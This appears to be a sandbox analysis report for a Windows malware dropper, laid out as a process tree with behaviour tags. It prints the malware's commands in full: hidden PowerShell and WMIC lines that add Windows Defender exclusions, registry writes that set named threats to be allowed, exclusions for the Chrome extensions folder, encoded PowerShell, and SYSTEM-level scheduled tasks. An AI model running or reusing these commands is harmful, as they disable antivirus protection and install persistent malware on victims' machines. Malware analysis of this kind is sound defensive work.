PID 1920 wrote to memory of 3896	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 2924	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 2924	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 2924	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 828	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 828	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 828	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4904	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4904	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4904	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 424	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 424	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 424	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 1988	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 1988	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 1988	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 5000	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 5000	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 5000	1920	powershell.exe	reg.exe
PID 1920 wrote to memory of 4484	1920	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f.exe
"C:\Users\Admin\AppData\Local\Temp\daf394a884373933c9e68b41ced73ddd8fc457fe4549383f1001b5c92513df2f.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3120

C:\Users\Admin\AppData\Local\Temp\7zS6FF0.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2280

C:\Users\Admin\AppData\Local\Temp\7zS7251.tmp\Install.exe
.\Install.exe /FdidQOvZ "385137" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:2860

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2336

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bBfKaGDnIKdTdJZScE" /SC once /ST 05:10:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS7251.tmp\Install.exe\" pa /QDdiddq 385137 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4988 -s 796
4⤵
- Program crash
PID:2760

C:\Users\Admin\AppData\Local\Temp\7zS7251.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS7251.tmp\Install.exe pa /QDdiddq 385137 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1920

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:2908

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:1280

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:4628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:4076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:1316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:3896

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:2924

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:828

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:4904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:1988

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:5000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:4484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3868

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:2932

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:2532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:1364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:1696

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:4656

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:3908

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:2496

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:1868

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:4304

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:2256

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:4536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RNplELueU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RNplELueU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fLdzueVMGzfAC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fLdzueVMGzfAC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nWWVEJXizSHU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nWWVEJXizSHU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uYPtQNsySKcOueCgHDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\uYPtQNsySKcOueCgHDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ushFnVEJKMUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ushFnVEJKMUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\evUSZSaqPkAEukVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\evUSZSaqPkAEukVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AlfnvFYITfbBhKdCN\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AlfnvFYITfbBhKdCN\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\XwIFwyvoUqntekhn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\XwIFwyvoUqntekhn\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4208

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RNplELueU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5072

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RNplELueU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1432

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RNplELueU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1292

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fLdzueVMGzfAC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4360

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fLdzueVMGzfAC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nWWVEJXizSHU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:768

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nWWVEJXizSHU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uYPtQNsySKcOueCgHDR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4972

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\uYPtQNsySKcOueCgHDR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1108

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ushFnVEJKMUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ushFnVEJKMUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1588

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\evUSZSaqPkAEukVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:3960

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\evUSZSaqPkAEukVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AlfnvFYITfbBhKdCN /t REG_DWORD /d 0 /reg:32
3⤵
PID:760

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AlfnvFYITfbBhKdCN /t REG_DWORD /d 0 /reg:64
3⤵
PID:1444

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\XwIFwyvoUqntekhn /t REG_DWORD /d 0 /reg:32
3⤵
PID:904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\XwIFwyvoUqntekhn /t REG_DWORD /d 0 /reg:64
3⤵
PID:304

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gzlLRIVGE" /SC once /ST 03:07:09 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4420

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gzlLRIVGE"
2⤵
PID:1860

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gzlLRIVGE"
2⤵
PID:876

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "QVuDljbAZykxnpoWI" /SC once /ST 04:02:33 /RU "SYSTEM" /TR "\"C:\Windows\Temp\XwIFwyvoUqntekhn\ooWCIvMMypBCeYz\qVqqalb.exe\" Cc /hBBqdidvI 385137 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1060

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "QVuDljbAZykxnpoWI"
2⤵
PID:2844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1504 -s 788
2⤵
- Program crash
PID:4536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2372

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:924

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3896

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:424

C:\Windows\Temp\XwIFwyvoUqntekhn\ooWCIvMMypBCeYz\qVqqalb.exe
C:\Windows\Temp\XwIFwyvoUqntekhn\ooWCIvMMypBCeYz\qVqqalb.exe Cc /hBBqdidvI 385137 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4272

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bBfKaGDnIKdTdJZScE"
2⤵
PID:2092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:4232

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:2980

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:3284

